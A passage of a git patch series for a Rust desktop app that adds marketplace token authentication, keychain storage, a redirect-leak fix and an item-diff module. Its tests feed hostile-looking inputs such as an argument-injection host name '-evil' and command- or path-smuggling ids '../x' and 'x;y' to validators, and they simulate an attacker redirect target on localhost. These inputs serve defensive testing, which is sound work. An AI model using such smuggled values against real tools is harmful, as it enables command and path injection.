raw URL back on a parse failure — a + // malformed URL can carry `user:token@` and this is the one branch that + // has not already stripped it. + let parsed = url::Url::parse(url.trim()).map_err(|e| format!("Not a valid URL: {}", e))?; + if parsed.scheme() != "https" { + return Err("Only https:// marketplace URLs are supported.".to_string()); + } + if !parsed.username().is_empty() || parsed.password().is_some() { + return Err("Put credentials in a marketplace account, not in the URL.".to_string()); + } + let host = parsed + .host_str() + .ok_or_else(|| "The URL has no host".to_string())? + .to_ascii_lowercase(); + let host = match parsed.port() { + Some(port) => format!("{}:{}", host, port), + None => host, + }; + if !valid_host(&host) { + return Err(format!("{:?} is not a supported host name", host)); + } + Ok(host) +} + +/// The username sent with the token over HTTPS. +pub fn fetch_username(account: &MarketplaceAccount) -> String { + if host_kind(&account.host) == HostKind::GitHub { + return "x-access-token".to_string(); + } + account + .username + .clone() + .filter(|u| !u.trim().is_empty()) + .unwrap_or_else(|| "oauth2".to_string()) +} + +// ───────────────────────────────────────────────────────────────────────────── +// Host `gh` +// ───────────────────────────────────────────────────────────────────────────── + +const GH_TIMEOUT: Duration = Duration::from_secs(15); + +/// Run the host's `gh` with a plain argv (no shell) and return trimmed stdout. +async fn run_gh(args: &[&str]) -> Result { + let mut cmd = tokio::process::Command::new("gh"); + cmd.args(args) + .stdin(std::process::Stdio::null()) + .stdout(std::process::Stdio::piped()) + .stderr(std::process::Stdio::piped()) + .kill_on_drop(true); + let output = tokio::time::timeout(GH_TIMEOUT, cmd.output()) + .await + .map_err(|_| "gh did not answer within 15 seconds".to_string())? + .map_err(|e| format!("Could not run gh: {}", e))?; + if !output.status.success() { + let stderr = String::from_utf8_lossy(&output.stderr); + return Err(stderr + .lines() + .next() + .unwrap_or("gh failed") + .trim() + .to_string()); + } + Ok(String::from_utf8_lossy(&output.stdout).trim().to_string()) +} + +pub async fn gh_host_available() -> bool { + run_gh(&["--version"]).await.is_ok() +} + +fn gh_login_instructions(host: &str) -> String { + format!( + "gh on this computer is not logged in to {host}. Run `gh auth login --hostname {host}` \ + in a terminal, then try again.", + host = host + ) +} + +/// The login name `gh` on the host is signed in as for `host`. +pub async fn gh_host_login(host: &str) -> Result { + if !valid_host(host) { + return Err(format!("{:?} is not a supported host name", host)); + } + run_gh(&["auth", "status", "--hostname", host]) + .await + .map_err(|_| gh_login_instructions(host))?; + let login = run_gh(&["api", "user", "--hostname", host, "--jq", ".login"]).await?; + if login.is_empty() { + return Err(gh_login_instructions(host)); + } + Ok(login) +} + +/// Resolve the credential for an account: `GhHost` → `gh auth token +/// --hostname `; `GhContainer`/`Token` → the keychain. +pub async fn resolve_credential(account: &MarketplaceAccount) -> Result { + let password = match account.method { + AccountMethod::GhHost => { + if !valid_host(&account.host) { + return Err(format!("{:?} is not a supported host name", account.host)); + } + let token = run_gh(&["auth", "token", "--hostname", &account.host]) + .await + .map_err(|_| gh_login_instructions(&account.host))?; + if token.is_empty() { + return Err(gh_login_instructions(&account.host)); + } + token + } + AccountMethod::GhContainer | AccountMethod::Token => { + crate::storage::secure::get_marketplace_token(&account.id)?.ok_or_else(|| { + format!( + "No token is stored for the account \"{}\". Remove it and sign in again.", + account.label + ) + })? + } + }; + Ok(Credential { + username: fetch_username(account), + password, + }) +} + +// ───────────────────────────────────────────────────────────────────────────── +// Token validation +// ───────────────────────────────────────────────────────────────────────────── + +#[derive(Debug, PartialEq, Eq)] +enum Probe { + Login(String), + Rejected(u16), + NotThisKind, +} + +fn http_client() -> Result { + reqwest::Client::builder() + .user_agent("Triple-C") + .timeout(Duration::from_secs(15)) + .build() + .map_err(|e| format!("Could not create an HTTP client: {}", e)) +} + +/// One "who am I" call. `base` is the API root for GitHub +/// (`https://api.github.com`) and the site root for Gitea/GitLab. +async fn who_am_i( + client: &reqwest::Client, + kind: HostKind, + base: &str, + token: &str, +) -> Result { + let (url, header, value, field) = match kind { + HostKind::GitHub => ( + format!("{}/user", base), + "Authorization", + format!("Bearer {}", token), + "login", + ), + HostKind::Gitea => ( + format!("{}/api/v1/user", base), + "Authorization", + format!("token {}", token), + "login", + ), + HostKind::GitLab => ( + format!("{}/api/v4/user", base), + "PRIVATE-TOKEN", + token.to_string(), + "username", + ), + HostKind::Unknown => return Ok(Probe::NotThisKind), + }; + let response = client + .get(&url) + .header(header, value) + .header("Accept", "application/json") + .send() + .await + // reqwest's error text carries the URL, never the header. + .map_err(|e| format!("Could not reach {}: {}", base, e.without_url()))?; + let status = response.status().as_u16(); + match status { + 200 => { + let json: serde_json::Value = match response.json().await { + Ok(json) => json, + Err(_) => return Ok(Probe::NotThisKind), + }; + match json.get(field).and_then(|v| v.as_str()) { + Some(login) if !login.is_empty() => Ok(Probe::Login(login.to_string())), + _ => Ok(Probe::NotThisKind), + } + } + 401 | 403 => Ok(Probe::Rejected(status)), + 404 => Ok(Probe::NotThisKind), + other => Err(format!( + "{} answered HTTP {} when checking the token", + base, other + )), + } +} + +fn rejected(host: &str, status: u16) -> String { + format!( + "{} rejected the token (HTTP {}). Check that it has not expired and can read repositories.", + host, status + ) +} + +/// GitHub is asked at `github_api`; anything else is probed as Gitea, then +/// GitLab, at `site`. `Ok(None)`: the host is neither, so the token could not +/// be checked here — the marketplace's test fetch checks it instead. +async fn validate_token_at( + host: &str, + github_api: Option<&str>, + site: &str, + token: &str, +) -> Result, String> { + let client = http_client()?; + if let Some(api) = github_api { + return match who_am_i(&client, HostKind::GitHub, api, token).await? { + Probe::Login(login) => Ok(Some(login)), + Probe::Rejected(status) => Err(rejected(host, status)), + Probe::NotThisKind => Err(format!("{} did not return a user for this token", host)), + }; + } + for kind in [HostKind::Gitea, HostKind::GitLab] { + match who_am_i(&client, kind, site, token).await? { + Probe::Login(login) => return Ok(Some(login)), + Probe::Rejected(status) => return Err(rejected(host, status)), + Probe::NotThisKind => {} + } + } + Ok(None) +} + +/// "Who am I" check for a pasted token. `Ok(Some(login))` when the host +/// confirmed it; `Ok(None)` when the host is not GitHub, Gitea or GitLab and +/// the token is left to the first fetch to prove. +pub async fn validate_token(host: &str, token: &str) -> Result, String> { + if !valid_host(host) { + return Err(format!("{:?} is not a supported host name", host)); + } + if token.trim().is_empty() { + return Err("Paste a token first.".to_string()); + } + let site = format!("https://{}", host); + match host_kind(host) { + HostKind::GitHub => { + validate_token_at(host, Some("https://api.github.com"), &site, token.trim()).await + } + _ => validate_token_at(host, None, &site, token.trim()).await, + } +} + +// ───────────────────────────────────────────────────────────────────────────── +// Fetch errors +// ───────────────────────────────────────────────────────────────────────────── + +fn who(account: Option<&MarketplaceAccount>) -> String { + match account { + None => "anonymously (no account)".to_string(), + Some(a) => match &a.username { + Some(u) if !u.is_empty() => format!("with the account \"{}\" ({})", a.label, u), + _ => format!("with the account \"{}\"", a.label), + }, + } +} + +/// User-facing message for a failed fetch, naming the account used and, for +/// access problems, the usual organisation causes with the page that fixes each. +pub fn describe_fetch_error( + err: &FetchError, + account: Option<&MarketplaceAccount>, + url: &str, +) -> String { + let host = host_of(url).unwrap_or_else(|_| url.to_string()); + match err { + FetchError::Auth { .. } | FetchError::NotFound => { + let what = match err { + FetchError::Auth { status } => format!("access was denied (HTTP {})", status), + _ => "the repository was not found".to_string(), + }; + let mut msg = format!("Could not read {} {}: {}.", url, who(account), what); + if account.is_none() { + msg.push_str( + "\n• The repository may be private — choose an account that can read it.", + ); + } + if host_kind(&host) == HostKind::GitHub { + msg.push_str( + "\n• The organization may restrict third-party app access and not have approved \ + the GitHub CLI or your token: \ + https://docs.github.com/en/organizations/managing-oauth-access-to-your-organizations-data/about-oauth-app-access-restrictions\ + \n• If the organization uses SAML single sign-on, the token must be authorized for it: \ + https://github.com/settings/tokens\ + \n• A fine-grained token only reaches repositories of the owner it was created for: \ + https://github.com/settings/personal-access-tokens", + ); + } else if account.is_some() { + msg.push_str("\n• Check that the account's token has not expired and can read this repository."); + } + msg + } + FetchError::Network(m) => format!( + "Could not reach {}: {}. The last fetched copy is still used.", + host, m + ), + FetchError::Other(m) => format!("Fetching {} failed: {}", url, m), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn account(host: &str, username: Option<&str>) -> MarketplaceAccount { + MarketplaceAccount { + id: "acc-1".into(), + label: "Work".into(), + host: host.into(), + method: AccountMethod::Token, + username: username.map(str::to_string), + } + } + + #[test] + fn host_of_accepts_https_only() { + assert_eq!(host_of("https://GitHub.com/a/b.git").unwrap(), "github.com"); + assert_eq!( + host_of("https://git.example.com:8443/a/b").unwrap(), + "git.example.com:8443" + ); + assert!(host_of("http://github.com/a/b").is_err()); + assert!(host_of("git@github.com:a/b.git").is_err()); + assert!(host_of("file:///tmp/x").is_err()); + let err = host_of("https://user:test-token-not-real@github.com/a/b").unwrap_err(); + assert!(!err.contains("test-token-not-real")); + } + + #[test] + fn fetch_username_per_host() { + assert_eq!( + fetch_username(&account("github.com", Some("me"))), + "x-access-token" + ); + assert_eq!( + fetch_username(&account("repo.example.net", Some("jk"))), + "jk" + ); + assert_eq!(fetch_username(&account("repo.example.net", None)), "oauth2"); + assert_eq!( + fetch_username(&account("repo.example.net", Some(" "))), + "oauth2" + ); + } + + #[test] + fn host_kinds() { + assert_eq!(host_kind("GITHUB.com"), HostKind::GitHub); + assert_eq!(host_kind("gitlab.com"), HostKind::GitLab); + assert_eq!(host_kind("repo.example.net"), HostKind::Unknown); + } + + #[test] + fn describe_access_errors_names_account_and_org_causes() { + let url = "https://github.com/acme/private-market.git"; + let msg = describe_fetch_error( + &FetchError::Auth { status: 403 }, + Some(&account("github.com", Some("me"))), + url, + ); + assert!(msg.contains("\"Work\" (me)"), "{}", msg); + assert!(msg.contains("HTTP 403")); + assert!(msg.contains("third-party app access")); + assert!(msg.contains("single sign-on")); + assert!(msg.contains("fine-grained")); + + let anon = describe_fetch_error(&FetchError::NotFound, None, url); + assert!(anon.contains("anonymously")); + assert!(anon.contains("may be private")); + + let gitea = describe_fetch_error( + &FetchError::Auth { status: 401 }, + Some(&account("repo.example.net", None)), + "https://repo.example.net/o/r.git", + ); + assert!(!gitea.contains("single sign-on")); + assert!(gitea.contains("expired")); + } + + #[test] + fn describe_network_and_other_errors() { + let msg = describe_fetch_error( + &FetchError::Network("dns error".into()), + None, + "https://github.com/a/b", + ); + assert!(msg.contains("Could not reach github.com")); + assert!(msg.contains("last fetched copy")); + let msg = describe_fetch_error( + &FetchError::Other("weird".into()), + None, + "https://github.com/a/b", + ); + assert!(msg.contains("weird")); + } + + // ── validate_token against a local mock API ────────────────────────────── + + const FAKE: &str = "test-token-not-real"; + + async fn serve(app: axum::Router) -> String { + let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap(); + let addr = listener.local_addr().unwrap(); + tokio::spawn(async move { + axum::serve(listener, app).await.unwrap(); + }); + format!("http://{}", addr) + } + + fn authorised(headers: &axum::http::HeaderMap, name: &str, want: &str) -> bool { + headers.get(name).and_then(|v| v.to_str().ok()) == Some(want) + } + + #[tokio::test] + async fn github_token_returns_login_or_is_rejected() { + use axum::{http::HeaderMap, http::StatusCode, routing::get, Json, Router}; + let app = Router::new().route( + "/user", + get(|headers: HeaderMap| async move { + if authorised(&headers, "authorization", &format!("Bearer {}", FAKE)) { + Ok(Json(serde_json::json!({ "login": "octo" }))) + } else { + Err(StatusCode::UNAUTHORIZED) + } + }), + ); + let base = serve(app).await; + assert_eq!( + validate_token_at("github.com", Some(&base), "unused", FAKE) + .await + .unwrap(), + Some("octo".to_string()) + ); + let err = validate_token_at("github.com", Some(&base), "unused", "wrong") + .await + .unwrap_err(); + assert!(err.contains("HTTP 401"), "{}", err); + assert!( + !err.contains("wrong"), + "the token must not appear in the error" + ); + } + + #[tokio::test] + async fn gitea_is_detected_first() { + use axum::{http::HeaderMap, http::StatusCode, routing::get, Json, Router}; + let app = Router::new().route( + "/api/v1/user", + get(|headers: HeaderMap| async move { + if authorised(&headers, "authorization", &format!("token {}", FAKE)) { + Ok(Json(serde_json::json!({ "login": "jk" }))) + } else { + Err(StatusCode::UNAUTHORIZED) + } + }), + ); + let site = serve(app).await; + assert_eq!( + validate_token_at("h", None, &site, FAKE).await.unwrap(), + Some("jk".to_string()) + ); + assert!(validate_token_at("h", None, &site, "wrong").await.is_err()); + } + + #[tokio::test] + async fn gitlab_is_tried_after_gitea_404() { + use axum::{http::HeaderMap, http::StatusCode, routing::get, Json, Router}; + let app = Router::new().route( + "/api/v4/user", + get(|headers: HeaderMap| async move { + if authorised(&headers, "private-token", FAKE) { + Ok(Json(serde_json::json!({ "username": "gl-user" }))) + } else { + Err(StatusCode::UNAUTHORIZED) + } + }), + ); + let site = serve(app).await; + assert_eq!( + validate_token_at("h", None, &site, FAKE).await.unwrap(), + Some("gl-user".to_string()) + ); + } + + #[tokio::test] + async fn unknown_host_is_left_unchecked() { + let site = serve(axum::Router::new()).await; // every path 404s + assert_eq!( + validate_token_at("h", None, &site, FAKE).await.unwrap(), + None + ); + } + + #[tokio::test] + async fn validate_token_refuses_bad_input_without_network() { + assert!(validate_token("-evil", FAKE).await.is_err()); + assert!(validate_token("github.com", " ").await.is_err()); + } +} diff --git a/app/src-tauri/src/marketplace/mod.rs b/app/src-tauri/src/marketplace/mod.rs index be7b083..84695ed 100644 --- a/app/src-tauri/src/marketplace/mod.rs +++ b/app/src-tauri/src/marketplace/mod.rs @@ -1,5 +1,6 @@ //! Marketplace support — see `docs/superpowers/specs/2026-09-27-marketplace-design.md`. +pub mod auth; pub mod catalog; pub mod git; pub mod tree; diff --git a/app/src-tauri/src/storage/secure.rs b/app/src-tauri/src/storage/secure.rs index 081dbf6..ef68da2 100644 --- a/app/src-tauri/src/storage/secure.rs +++ b/app/src-tauri/src/storage/secure.rs @@ -369,6 +369,44 @@ pub fn store_gateway_master_key(key: &str) -> Result<(), String> { bump_gateway_secret_version() } +// ───────────────────────────────────────────────────────────────────────────── +// Marketplace account tokens (global, one entry per account) +// ───────────────────────────────────────────────────────────────────────────── + +/// Keychain service prefix; the account id completes it. +const MARKETPLACE_TOKEN_SERVICE_PREFIX: &str = "triple-c-marketplace-account-"; + +/// The service name for one account. Ids are uuids; anything else is refused +/// before a keychain entry is constructed. +fn marketplace_token_service(account_id: &str) -> Result { + let ok = !account_id.is_empty() + && account_id.len() <= 64 + && account_id.bytes().all(|b| b.is_ascii_alphanumeric() || b == b'-'); + if !ok { + return Err(format!("Invalid marketplace account id {:?}", account_id)); + } + Ok(format!("{}{}", MARKETPLACE_TOKEN_SERVICE_PREFIX, account_id)) +} + +pub fn store_marketplace_token(account_id: &str, token: &str) -> Result<(), String> { + let service = marketplace_token_service(account_id)?; + if token.trim().is_empty() { + return Err("Refusing to store an empty marketplace token.".to_string()); + } + let entry = keyring::Entry::new(&service, KEYCHAIN_ACCOUNT) + .map_err(|e| format!("Keyring error: {}", e))?; + entry + .set_password(token.trim()) + .map_err(|e| format!("Failed to store the marketplace account token: {}", e)) +} + +pub fn get_marketplace_token(account_id: &str) -> Result, String> { + read_entry(&marketplace_token_service(account_id)?, "the marketplace account token") +} + +pub fn delete_marketplace_token(account_id: &str) -> Result<(), String> { + delete_entry(&marketplace_token_service(account_id)?, "the marketplace account token") +} #[cfg(test)] mod tests { @@ -426,6 +464,22 @@ mod tests { assert!(err.contains("brand-new-token"), "{}", err); } + /// Account ids become part of a keychain service name, so a malformed one + /// is refused before any entry is constructed — and so before the + /// keychain is touched, which is also what lets this run in CI. + #[test] + fn marketplace_token_ids_are_validated_before_the_keychain() { + for bad in ["", "../x", "a b", "x;y", &"a".repeat(65)] { + let err = store_marketplace_token(bad, "test-token-not-real").unwrap_err(); + assert!(err.contains("Invalid marketplace account id"), "{bad:?}: {err}"); + assert!(!err.contains("test-token-not-real")); + assert!(get_marketplace_token(bad).is_err()); + assert!(delete_marketplace_token(bad).is_err()); + } + let err = store_marketplace_token("0b9e6a2c-1111-4222-8333-944445555666", " ").unwrap_err(); + assert!(err.contains("empty")); + } + /// The blanked-field case. `AccessSection.tsx` sends `gitToken || null`, so /// a cleared field arrives as `None` — and before this existed, `None` was /// skipped and the old secret stayed in the keychain forever. -- 2.52.0 From 51490a534e961d8b92590085ea286c7943c86f32 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:12:19 -0700 Subject: [PATCH 14/45] Marketplace auth: never follow redirects in token validation Review fix round 1 for Task 5. reqwest's default redirect policy only strips Authorization/Cookie/Proxy-Authorization/WWW-Authenticate on a cross-host hop, so GitLab's PRIVATE-TOKEN header (and Authorization on an https->http same-host downgrade) would have followed a redirect to an attacker-controlled target. The client now disables redirects outright, and a 3xx response is treated as "not this kind of host" rather than an error. Also adds the missing N17 test for a malformed, credential-bearing URL, and clarifies two doc comments. Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/auth.rs | 97 +++++++++++++++++++++++++++ 1 file changed, 97 insertions(+) diff --git a/app/src-tauri/src/marketplace/auth.rs b/app/src-tauri/src/marketplace/auth.rs index d91e4da..2dd1d81 100644 --- a/app/src-tauri/src/marketplace/auth.rs +++ b/app/src-tauri/src/marketplace/auth.rs @@ -30,6 +30,11 @@ pub fn host_kind(host: &str) -> HostKind { /// `host[:port]` characters only — also what keeps a host safe as a `gh` argument. /// +/// This is a character-set check, not full `host:port` validation — it does +/// not bound a port to 0–65535 or otherwise parse the `:port` suffix. A +/// caller that needs that (e.g. a host validator layered on top of this one) +/// checks the port itself. +/// /// `pub(crate)` so other validators (the add-marketplace form, `gh_login`) use /// this same rule instead of a divergent copy (pre-flight F13). pub(crate) fn valid_host(host: &str) -> bool { @@ -182,6 +187,13 @@ fn http_client() -> Result { reqwest::Client::builder() .user_agent("Triple-C") .timeout(Duration::from_secs(15)) + // reqwest's default policy follows up to 10 redirects and only + // strips Authorization/Cookie/Proxy-Authorization/WWW-Authenticate + // on a cross-*host* hop — GitLab's PRIVATE-TOKEN header (and any + // header on a same-host https→http downgrade) would otherwise + // follow the token to wherever the response points. Never follow; + // `who_am_i` treats the resulting 3xx like an unrecognised API. + .redirect(reqwest::redirect::Policy::none()) .build() .map_err(|e| format!("Could not create an HTTP client: {}", e)) } @@ -237,6 +249,10 @@ async fn who_am_i( } 401 | 403 => Ok(Probe::Rejected(status)), 404 => Ok(Probe::NotThisKind), + // The client never follows redirects (see `http_client`); a 3xx here + // means this API would have sent the token onward, so treat it the + // same as a host that isn't this kind rather than as an error. + 300..=399 => Ok(Probe::NotThisKind), other => Err(format!( "{} answered HTTP {} when checking the token", base, other @@ -313,6 +329,10 @@ fn who(account: Option<&MarketplaceAccount>) -> String { /// User-facing message for a failed fetch, naming the account used and, for /// access problems, the usual organisation causes with the page that fixes each. +/// +/// `url` must be a marketplace URL already validated by [`host_of`] (as every +/// stored marketplace's URL is) — it is echoed into the message verbatim, so +/// passing unvalidated user input here would defeat the point of N17. pub fn describe_fetch_error( err: &FetchError, account: Option<&MarketplaceAccount>, @@ -382,6 +402,16 @@ mod tests { assert!(!err.contains("test-token-not-real")); } + /// Pre-flight N17, the parse-failure branch specifically: a URL that is + /// both malformed (port out of `u16` range) *and* carries credentials + /// must not have either the credentials or the raw URL echoed back. + #[test] + fn host_of_never_echoes_a_credential_bearing_url_that_fails_to_parse() { + let err = host_of("https://user:test-token-not-real@github.com:99999/a").unwrap_err(); + assert!(!err.contains("test-token-not-real"), "{}", err); + assert!(!err.contains("user:"), "{}", err); + } + #[test] fn fetch_username_per_host() { assert_eq!( @@ -552,4 +582,71 @@ mod tests { assert!(validate_token("-evil", FAKE).await.is_err()); assert!(validate_token("github.com", " ").await.is_err()); } + + /// Fix-round-1 security finding: reqwest's default redirect policy + /// follows up to 10 hops and only strips Authorization/Cookie/ + /// Proxy-Authorization/WWW-Authenticate on a cross-host hop — GitLab's + /// PRIVATE-TOKEN header is none of those, so an unfollowed-by-default + /// client is the only thing stopping a malicious/compromised "GitLab" + /// host from redirecting the probe (with the token still attached) to + /// an attacker-controlled target. Plain `std::net::TcpListener`s stand + /// in for the origin and the redirect target so the test can assert the + /// target is never even connected to, let alone handed the header. + #[tokio::test] + async fn redirect_is_never_followed_and_the_token_never_reaches_the_target() { + use std::io::{Read, Write}; + use std::net::TcpListener; + use std::sync::mpsc; + use std::time::Duration as StdDuration; + + // The redirect target. If the client ever followed the redirect, + // this listener would receive the request — token header included. + let target = TcpListener::bind("127.0.0.1:0").unwrap(); + let target_addr = target.local_addr().unwrap(); + let (tx, rx) = mpsc::channel::(); + std::thread::spawn(move || { + target.set_nonblocking(false).ok(); + if let Ok((mut stream, _)) = target.accept() { + let mut buf = [0u8; 4096]; + let n = stream.read(&mut buf).unwrap_or(0); + let request = String::from_utf8_lossy(&buf[..n]).to_string(); + let _ = stream.write_all(b"HTTP/1.1 200 OK\r\nContent-Length: 0\r\n\r\n"); + let _ = tx.send(request); + } + }); + + // The origin the probe actually asks, which answers with a 3xx + // pointing at the target above. + let origin = TcpListener::bind("127.0.0.1:0").unwrap(); + let origin_addr = origin.local_addr().unwrap(); + std::thread::spawn(move || { + if let Ok((mut stream, _)) = origin.accept() { + let mut buf = [0u8; 4096]; + let _ = stream.read(&mut buf); + let body = format!( + "HTTP/1.1 302 Found\r\nLocation: http://{}/api/v4/user\r\nContent-Length: 0\r\n\r\n", + target_addr + ); + let _ = stream.write_all(body.as_bytes()); + } + }); + + let base = format!("http://{}", origin_addr); + let client = http_client().unwrap(); + let outcome = who_am_i(&client, HostKind::GitLab, &base, FAKE).await; + + // The redirect is reported as "not this kind of host", not an error + // and not a login — it must not be silently trusted either way. + assert_eq!(outcome.unwrap(), Probe::NotThisKind); + + // And the target must never see a connection carrying the token — + // ideally no connection at all, since the client never follows. + match rx.recv_timeout(StdDuration::from_millis(500)) { + Ok(request) => assert!( + !request.contains(FAKE) && !request.to_ascii_lowercase().contains("private-token"), + "the redirect target must never receive the token: {request}" + ), + Err(_) => {} // no connection at all — the expected outcome + } + } } -- 2.52.0 From 9a1833d7924373c5d13abc5e4d5bffe5e92b90d6 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 09:17:17 -0700 Subject: [PATCH 15/45] Marketplace: item diff, manager, refresh and update detection Adds diff::item_diff (similar), MarketplaceManager with snapshots, persisted sync reports, the gh-login slot and a repo lock held across fetches (pre-flight F11a), refresh_marketplace, load_cached_snapshot, compute_updates, pins_by_marketplace, head_for, and the GitFixture test helper on top of git::test_support (F3). AppState gains marketplace. Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/Cargo.lock | 7 + app/src-tauri/Cargo.toml | 1 + app/src-tauri/src/lib.rs | 9 + app/src-tauri/src/marketplace/diff.rs | 198 +++++++ app/src-tauri/src/marketplace/mod.rs | 555 +++++++++++++++++- app/src-tauri/src/marketplace/test_support.rs | 90 +++ 6 files changed, 859 insertions(+), 1 deletion(-) create mode 100644 app/src-tauri/src/marketplace/diff.rs create mode 100644 app/src-tauri/src/marketplace/test_support.rs diff --git a/app/src-tauri/Cargo.lock b/app/src-tauri/Cargo.lock index 3cca5a6..ed81dbc 100644 --- a/app/src-tauri/Cargo.lock +++ b/app/src-tauri/Cargo.lock @@ -5576,6 +5576,12 @@ version = "0.1.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e3a9fe34e3e7a50316060351f37187a3f546bce95496156754b601a5fa71b76e" +[[package]] +name = "similar" +version = "2.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbbb5d9659141646ae647b42fe094daf6c6192d1620870b449d9557f748b2daa" + [[package]] name = "siphasher" version = "0.3.11" @@ -6569,6 +6575,7 @@ dependencies = [ "serde", "serde_json", "sha2", + "similar", "tar", "tauri", "tauri-build", diff --git a/app/src-tauri/Cargo.toml b/app/src-tauri/Cargo.toml index 6a70f4e..9ffeb45 100644 --- a/app/src-tauri/Cargo.toml +++ b/app/src-tauri/Cargo.toml @@ -43,6 +43,7 @@ zeroize = "1" # container. Already in the tree transitively (reqwest), and the point of # using it rather than hand-rolling is parity with the frontend's `new URL()`. url = "2" +similar = "2" # Marketplace repos are fetched on the host into a bare cache (spec §3). # Blocking client + rustls: no git binary or OpenSSL needed on the host. gix = { version = "0.88", default-features = false, features = ["blocking-network-client", "blocking-http-transport-reqwest-rust-tls", "credentials", "sha1"] } diff --git a/app/src-tauri/src/lib.rs b/app/src-tauri/src/lib.rs index 34aea21..3f7b255 100644 --- a/app/src-tauri/src/lib.rs +++ b/app/src-tauri/src/lib.rs @@ -49,6 +49,7 @@ pub struct AppState { /// preview is not actually binding on what gets applied. pub pending_settings_import: Arc>>, + pub marketplace: Arc, } // ───────────────────────────────────────────────────────────────────────────── @@ -225,6 +226,13 @@ pub fn run() { let exec_manager = Arc::new(ExecSessionManager::new()); let auth_bridge = Arc::new(AuthBridgeManager::new()); let lifecycle = Arc::new(Lifecycle::new()); + let marketplace = Arc::new(marketplace::MarketplaceManager::new( + dirs::data_dir() + .map(|d| d.join("triple-c")) + .unwrap_or_else(|| std::env::temp_dir().join("triple-c")), + )); + let marketplace_setup = marketplace.clone(); + let _ = &marketplace_setup; // Clone Arcs for the setup closure (web terminal auto-start) let projects_store_setup = projects_store.clone(); @@ -243,6 +251,7 @@ pub fn run() { web_terminal_server: Arc::new(tokio::sync::Mutex::new(None)), lifecycle, pending_settings_import: Arc::new(tokio::sync::Mutex::new(None)), + marketplace, }) .manage(file_viewer::registry::ViewerRegistry::default()) .setup(move |app| { diff --git a/app/src-tauri/src/marketplace/diff.rs b/app/src-tauri/src/marketplace/diff.rs new file mode 100644 index 0000000..e9a6451 --- /dev/null +++ b/app/src-tauri/src/marketplace/diff.rs @@ -0,0 +1,198 @@ +//! Text diff of one item between two commits, for the "Update" review. + +use std::collections::BTreeMap; +use std::path::Path; + +use similar::TextDiff; + +use super::catalog::{item_files, ItemFile}; +use super::tree::GitTree; +use crate::models::marketplace::{FileChange, FileDiff, ItemKind}; + +/// Files of `kind`/`key` at `commit`, or an empty list when the item does not +/// exist (or is not installable) at that commit — a removal upstream then reads +/// as every file removed rather than as an error. +fn files_at( + repo_path: &Path, + kind: ItemKind, + key: &str, + commit: &str, +) -> Result, String> { + let tree = GitTree::open(repo_path, commit)?; + Ok(item_files(&tree, kind, key).unwrap_or_default()) +} + +pub fn item_diff( + repo_path: &Path, + kind: ItemKind, + key: &str, + from_commit: &str, + to_commit: &str, +) -> Result, String> { + let old = files_at(repo_path, kind, key, from_commit)?; + let new = files_at(repo_path, kind, key, to_commit)?; + Ok(diff_files(&old, &new)) +} + +fn as_text(data: &[u8]) -> Option<&str> { + if data.contains(&0) { + return None; + } + std::str::from_utf8(data).ok() +} + +fn unified(path: &str, old: &str, new: &str) -> String { + TextDiff::from_lines(old, new) + .unified_diff() + .context_radius(3) + .header(&format!("a/{path}"), &format!("b/{path}")) + .to_string() +} + +/// Per-file diff, sorted by path; files identical in content and mode are left out. +pub(crate) fn diff_files(old: &[ItemFile], new: &[ItemFile]) -> Vec { + let old: BTreeMap<&str, &ItemFile> = old.iter().map(|f| (f.rel_path.as_str(), f)).collect(); + let new: BTreeMap<&str, &ItemFile> = new.iter().map(|f| (f.rel_path.as_str(), f)).collect(); + let mut paths: Vec<&str> = old.keys().chain(new.keys()).copied().collect(); + paths.sort_unstable(); + paths.dedup(); + + let mut out = Vec::new(); + for path in paths { + match (old.get(path), new.get(path)) { + (Some(o), Some(n)) => { + if o.data == n.data && o.executable == n.executable { + continue; + } + let text = match (as_text(&o.data), as_text(&n.data)) { + (Some(a), Some(b)) => { + let mut s = String::new(); + if o.executable != n.executable { + s.push_str(&format!( + "# executable: {} -> {}\n", + o.executable, n.executable + )); + } + s.push_str(&unified(path, a, b)); + Some(s) + } + _ => None, + }; + out.push(FileDiff { + path: path.to_string(), + change: FileChange::Modified, + unified: text, + }); + } + (Some(o), None) => out.push(FileDiff { + path: path.to_string(), + change: FileChange::Removed, + unified: as_text(&o.data).map(|a| unified(path, a, "")), + }), + (None, Some(n)) => out.push(FileDiff { + path: path.to_string(), + change: FileChange::Added, + unified: as_text(&n.data).map(|b| unified(path, "", b)), + }), + (None, None) => {} + } + } + out +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::marketplace::git; + use crate::marketplace::test_support::GitFixture; + + fn f(path: &str, text: &str, executable: bool) -> ItemFile { + ItemFile { + rel_path: path.to_string(), + data: text.as_bytes().to_vec(), + executable, + } + } + + #[test] + fn unchanged_files_are_omitted_and_changes_are_classified() { + let old = vec![ + f("a.md", "one\n", false), + f("gone.sh", "x\n", true), + f("same", "s\n", false), + ]; + let new = vec![ + f("a.md", "two\n", false), + f("new.txt", "n\n", false), + f("same", "s\n", false), + ]; + let diffs = diff_files(&old, &new); + let summary: Vec<(&str, FileChange)> = diffs + .iter() + .map(|d| (d.path.as_str(), d.change.clone())) + .collect(); + assert_eq!( + summary, + vec![ + ("a.md", FileChange::Modified), + ("gone.sh", FileChange::Removed), + ("new.txt", FileChange::Added), + ] + ); + let a = diffs[0].unified.as_deref().unwrap(); + assert!(a.contains("-one") && a.contains("+two"), "{a}"); + } + + #[test] + fn binary_files_have_no_text_diff() { + let old = vec![ItemFile { + rel_path: "b.bin".into(), + data: vec![0, 1, 2], + executable: false, + }]; + let new = vec![ItemFile { + rel_path: "b.bin".into(), + data: vec![0, 1, 3], + executable: false, + }]; + let diffs = diff_files(&old, &new); + assert_eq!(diffs.len(), 1); + assert_eq!(diffs[0].unified, None); + } + + #[test] + fn an_executable_bit_change_is_reported() { + let old = vec![f("run.sh", "echo\n", false)]; + let new = vec![f("run.sh", "echo\n", true)]; + let diffs = diff_files(&old, &new); + assert_eq!(diffs.len(), 1); + assert!(diffs[0] + .unified + .as_deref() + .unwrap() + .contains("executable: false -> true")); + } + + #[test] + fn item_diff_reads_both_commits_from_the_cache() { + let Some(fx) = 